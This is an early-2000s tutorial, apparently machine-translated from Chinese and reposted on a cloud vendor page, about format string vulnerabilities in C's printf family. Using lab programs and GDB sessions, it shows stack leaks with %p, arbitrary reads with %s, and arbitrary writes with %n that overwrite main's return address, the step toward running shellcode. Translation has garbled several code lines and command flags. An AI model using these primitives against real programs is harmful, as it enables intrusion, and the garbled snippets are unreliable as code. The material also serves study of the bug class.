Summary of Format String Vulnerabilities (1)

Source: Internet
Author: User
Tags syslog

Summary of Format String Vulnerabilities (1)
Bkbll (bkbll@cnhonker.net)
2003/4/8
In fact, this article has no technical knowledge. The format string (formatted string) vulnerability has been thoroughly studied for a long time. a pd document in scut is a very detailed introduction/entry-level article, however, some examples are not completely explained in English, and some examples can no longer be used. Therefore, I would like to summarize them and provide the environment and Code for the experiment. (experimental platform: rh8.0, built-in GCC Version)
The format string vulnerability is generally caused by the following functions:
O fprintf-output to file handle
O printf-output to Terminal
O sprintf-output to a string
O snprintf-output the specified length to a string
O vfprintf-print to a file stream from a va_arg Structure
O vprintf-prints to 'stdout' from a va_arg Structure
O vsprintf-prints to a string from a va_arg Structure
O vsnprintf-prints to a string with length checking from a va_arg Structure
Relatives:
O setproctitle-set argv []
O syslog-output to the syslog facility
O others such as ERR *, verr *, warn *, and vwarn *

When using these functions, if the format is specified, there is no problem, but if the programmer is lazy and the format is not specified, then the string content is directly output, this causes the formatting string vulnerability, for example:
Char * buffer;
...................
Printf ("% s/n", buffer );
This program does not produce the string Formatting Vulnerability, but the following program:
Char * buffer;
..............
Printf (buffer );
If the buffer can be controlled by users, the format string vulnerability may occur.
Similar:
Syslog (log_notice, Buf );
Fprintf (File * stream, buffer );
Sprintf (char * string, buffer );
Snprintf (char * string, strlen (string), buffer)
Vfprintf (File * stream, buffer );
.
1. Vulnerability generation/Introduction
We use the most common printf function to solve the format string vulnerability principle:
We know that the formatting characters and parameters of a standard normal printf function should correspond one to one, for example:
Printf ("% S % d % x/N", (char *) string, (INT) intnum, (INT) hexnum );
There are several % s and so on, and there should be several parameters later, so that the content of this parameter can be displayed one by one. However, if there is a formatting character, if there is no parameter, what does the printf function do?
[Bkbll @ mobile format] $ cat 6.C
Main () {printf ("% P/N ");}
% P indicates display results in Pointer format. Let's compile and run the command to see:
[Bkbll @ mobile format] $ gcc-O 6 6.C
[Bkbll @ mobile format] $./6
0x4212a2d0 0xbffffaf8 0x8048246 0x4200aec8 0x4212a2d0 0xbffffb18
A large amount of memory data is displayed. Let's see where the data is stored:
[Bkbll @ mobile format] $ GDB-Q 6
(GDB) B Main
Breakpoint 1 at 0x804832e
(GDB) r
Starting program:/home/bkbll/format/6

Breakpoint 1, 0x0804832e in main ()
(GDB) x/I printf
0x42052390 <printf>: Push % EBP
(GDB) B * 0x42052390
Breakpoint 2 at 0x42052390
(GDB) c
Continuing.

Breakpoint 2, 0x42052390 in printf () from/lib/i686/libc. so.6
(GDB) x/8wx $ ESP
0 xbffffacc: 0x08048345 0x08048394 0x4212a2d0 0xbffffae8
0 xbffffadc: 0x08048246 0x4200aec8 0x4212a2d0 0xbffffb08
(GDB)
Here we can see that the printf entry is 0x42052390. Let's analyze the structure of the stack data:
When the system calls a function, it first pushes the function parameter to the stack, and finally pushes the return address of the function to the stack. The above 0x08048345 is the return address of the function printf, that is, the next command to be executed after the printf function is called in the main function. 0x08048394 stores the parameters we gave printf:
(GDB) x/S 0x08048394
0x8048394 <_ io_stdin_used + 4>: "% P/N"
Because we gave printf a lot of formatting characters % P, but didn't give the corresponding parameters, the system considers that the data following the formatting string is the printf parameter, therefore, it is printed on the terminal in % P format.
If I have provided enough % P, can I print the data to 0xbfffffff all the time? The answer is yes. Using % P to Display memory data is the meaning of stack popup mentioned in scut PDF.
Okay. Now we can display the content above the stack that calls the printf function. But can we display the content of any memory address? Let's take a look at the following examples:
[Bkbll @ mobile format] $ cat 7.c
Main ()
{
Char buffer [100] = "";
Strcpy (buffer, "AAAA % P/N ");
Printf (buffer );

}
[Bkbll @ mobile format] $ gcc-O 7 7.c
[Bkbll @ mobile format] $./7
Aaaa0x8048458 0x4200dbb3 0x420069e8 0x41414141 0x25207025 0x70252070
0x41414141 is the hexadecimal code of AAAA. If I replace % P with % s that shows 0x4141414141, can I display the content of 0x41414141?
[Bkbll @ mobile format] $ cat 8.c
Main ()
{
Char buffer [100] = "";
Strcpy (buffer, "AAAA % P % S % P/N ");
Printf (buffer );

}
[Bkbll @ mobile format] $ gcc-O 8 8.c;./8
Segmentation fault
Segment error. Let's follow up:
[Bkbll @ mobile format] $ GDB-Q 8
(GDB) r
Starting program:/home/bkbll/format/8

Program received signal SIGSEGV, segmentation fault.
0x4207a4cb in strlen () from/lib/i686/libc. so.6
(GDB) disass $ EIP + 4
Dump of assembler code from 0x4207a4cb to 0x4207a4cf:
0x4207a4cb <strlen + 11>: CMP % CH, (% eax)
0x4207a4cd <strlen + 13>: je 0x4207a56a <strlen+ 170>
End of worker er dump.
(GDB) I reg ECx eax
ECX 0x1 1
Eax 0x41414141 1094795585
(GDB) x/BX $ eax
0x41414141: cannot access memory at address 0x41414141
Oh, because we do not have the permission to access the address 0x41414141, the system prompts a segment error.
Let's change the address we can access:
[Bkbll @ mobile format] $ cat 9.c
Main ()
{
Char buf1 [] = "Hello, world ";
Char buffer [100] = "";
Strcpy (buffer, "AAAA % P % S % P/N ");
Buffer [0] = (INT) buf1 & 0xff;
Buffer [1] = (INT) buf1> 8) & 0xff;
Buffer [2] = (INT) buf1> 16) & 0xff;
Buffer [3] = (INT) buf1> 24) & 0xff;
Printf (buffer );

}
[Bkbll @ mobile format] $ gcc-O 9 9.c;./9
Why? X80484cc (NiL) Hello, world 0x25207025 0x70252070
We output the Hello, world string, and the address of this string is obtained by replacing the AAAA data.
From the above example, we can see that by carefully constructing the buffer, We can display data anywhere, that is, read anywhere.
Although reading data can get a lot of things, but the structure is not what we want, we need to be writable to control the process of this program, in order to run our shellcode.
Printf functions provide the % N format to write the length of the displayed data into an int type variable, for example:
[Bkbll @ mobile format] $ cat 10.c
Main ()
{
Int I = 0;
Printf ("before printf, I: % d/N", I );
Printf ("Hello, word/n % N", & I );
Printf ("after printf, I: % d/N", I );
}
[Bkbll @ mobile format] $ gcc-O 10 10.c;./10
Before printf, I: 0
Hello, word
After printf, I: 11
The output length of printf is written into variable I, so the I value is changed to 11. Since I can be written, can I try writing it elsewhere, let's try writing it into the return address of main:
[Bkbll @ mobile format] $ GDB-Q 10
(GDB) x/I Main
0x8048328 <main>: Push % EBP
(GDB) B * 0x8048328
Breakpoint 1 at 0x8048328
(GDB) r
Starting program:/home/bkbll/format/10

Breakpoint 1, 0x08048328 in main ()
(GDB) x/wx $ ESP
0 xbffffaec: 0x420158d4
The return address of main is 0xbffffaec.
OK. Let's modify the program:
[Bkbll @ mobile format] $ cat 11.c
Main ()
{
Int I = 0 xbffffaec;
Printf ("Hello, word/n % N", I );
}
[Bkbll @ mobile format] $ gcc-o 11 11.c
[Bkbll @ mobile format] $ GDB-Q 11
(GDB) r
Starting program:/home/bkbll/format/11
Hello, word

Program received signal SIGSEGV, segmentation fault.
0x0000000b in ?? ()
(GDB) I reg EIP
EIP 0xb 0xb
(GDB)
OK. We have successfully written the data to the main return address. 0x000000b is obviously an unexecutable address, so an error is reported.
In retrospect, can we dynamically write data to any address based on the previous read anywhere and the write here?
[Bkbll @ mobile format] $ cat 12.c
Main ()
{
Int buf1 = 0 xbffffaec;
Char buffer [100] = "";
Strcpy (buffer, "AAAA % P % N % P/N ");
Buffer [0] = (INT) buf1 & 0xff;
Buffer [1] = (INT) buf1> 8) & 0xff;
Buffer [2] = (INT) buf1> 16) & 0xff;
Buffer [3] = (INT) buf1> 24) & 0xff;
Printf (buffer );

}
[Bkbll @ mobile format] $ gcc-o 12 12.c
[Bkbll @ mobile format] $ GDB-q 12
(GDB) r
Starting program:/home/bkbll/format/12
Why? X80484b0 (NiL) 0x25207025 0x70252070

Program received signal SIGSEGV, segmentation fault.
0x0000001a in ?? ()
(GDB) x/wx 0 xbffffaec
0 xbffffaec: 0x0000001a
(GDB) I reg EIP
EIP 0x1a 0x1a
We successfully overwrite the return address of main.
With the formatting String Vulnerability of printf, we can write-anywhere and read anywhere. With these two conditions, isn't it easy to execute our shellcode?

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.